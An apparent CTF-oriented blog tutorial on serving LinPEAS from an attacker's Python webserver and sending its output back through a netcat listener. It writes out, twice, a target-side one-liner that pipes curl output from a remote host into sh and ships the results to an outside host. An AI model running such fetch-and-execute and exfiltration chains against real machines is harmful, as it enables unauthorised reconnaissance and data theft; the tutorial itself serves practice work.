5 min to read
Enumeration with Python and Netcat
Enumerate me harder, daddy!

If you’ve ever sat back and thought “Gee wiz, I really love how much sweet detail I get out of my enumeration scripts, but it’s messy and a pain to get back to my box where I can gawk at it later…“, this is the tute for you.
Using a simple python webserver, some netcat magic, and a whole roll of duct tape, we can hack together a neat little webserver and exfil pipeline that’ll pull your enummy goodness, run it, and fill up your warchest full of delicious bytes and nibbles.
Note: This tute will not teach you how to get on to your target box. If you’re having trouble, don’t forget to read more and try harder ;)
Table of Contents
The Process
1. Setup
First up, create yourself a happy little directory structure like this:
We’re using LinPEAS as an example enumeration script as it’s rad detailed and super easy to use. Just remember, scripts like this are L O U D, so the likelihood of tripping your friendly local HIDS/EDR is pretty high - Assuming they’re not using Trellix^H^H^H^H^H^H^HMcAffeye, the Masterlock of IT security.
The html directory is where all your enumeration scripty goodness is going to go. Warchest is where all your sweet loot will end up, from your enumeration, post-exploitation, and other mischief managed.
2. Serving your scripts
Crack open a tab in your favorite terminal/mux, and from inside the html directory, spin up a python webserver like so:
python -m http.server
This will spool up a python webserver (on port 8000 by default). You’re now ready to serve all your scripty goodness to your target.
3. Listening for incoming files
Next, in a seperate tab, jump into your warchest folder and spin up a netcat listener like this:
nc -lp 4001 -q 1 >foo.out </dev/null
This’ll get netcat dumping everything it reads out to a file called foo. The options are as follows:
-l makes netcat listen
-p sets what port netcat listens to
-q after receiving an EOF (end of file) from stdin, quits after n seconds
In short - listen on port 4001, and when the file finishes transmitting, quit out after a second.
Getting this copy of netcat to read in from /dev/null overrides it reading in and listening infinitely to the local console’s stdin stream.
4. Enumerating the target
Finally, on your target machine, it’s time to run your scripty goodness and ship it back home, which we do like so (with x.x.x.x being your local machine’s IP address):
nc x.x.x.x 4001 <<<$(curl http://x.x.x.x:8000/linpeas.sh | sh)
What this is doing actually happens in a bizarre order (and not entirely left to right). Unpicking this piece of tomfoolery first we have a subshell, denoted by $()
. A subshell is a neat bash construct which will run anything inside it in its own instance of bash, inside the current instance of bash. In there, we’re running curl to grab linpeas, and piping it straight into a shell so it executes. The results land in STDOUT, which is then caught by a here-string - <<<
, another special operator that tells the shell to take the STDOUT stream of the thing on its right, and provide it to the STDIN stream of the thing on the left. That thing on the left is netcat, which punts the results from LinPEAS back to our local machine.
You’ll know its done, because the local shell will barf some cranky error output like this, serving fails to let you know it’s done serving files.
bash-5.0$ nc 10.10.10.10 4001 <<<$(curl http://10.10.10.10:8000/linpeas.sh | s>
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
28 808k 28 229k 0 0 52432 0 0:00:15 0:00:04 0:00:11 52432. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 808k 77 629k 0 0 5005 0 0:02:45 0:02:08 0:00:37 5005Sorry, try again.
90 808k 90 729k 0 0 5723 0 0:02:24 0:02:10 0:00:14 5723find: ‘/var/lib/nginx/proxy’: Permission denied
100 808k 100 808k 0 0 2315 0 0:05:57 0:05:57 --:--:-- 1679
sh: 4958: Syntax error: end of file unexpected (expecting "fi")
When it’s done, your local netcat will happily exit 0 and your fresh hotness will be live on disk for your viewing pleasure.
TLDR
Here’s the whole setup:
# Prep:
mkdir http warchest
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230402/linpeas.sh -o html/linpeas.sh
# Tab 1:
cd http
python -m http.server
# Tab 2:
cd warchest
nc -lp 4001 -q 1 >foo.out </dev/null
# Target (where x.x.x.x is your local address):
nc x.x.x.x 4001 <<<$(curl http://x.x.x.x:8000/linpeas.sh | sh)
Happy CTFing!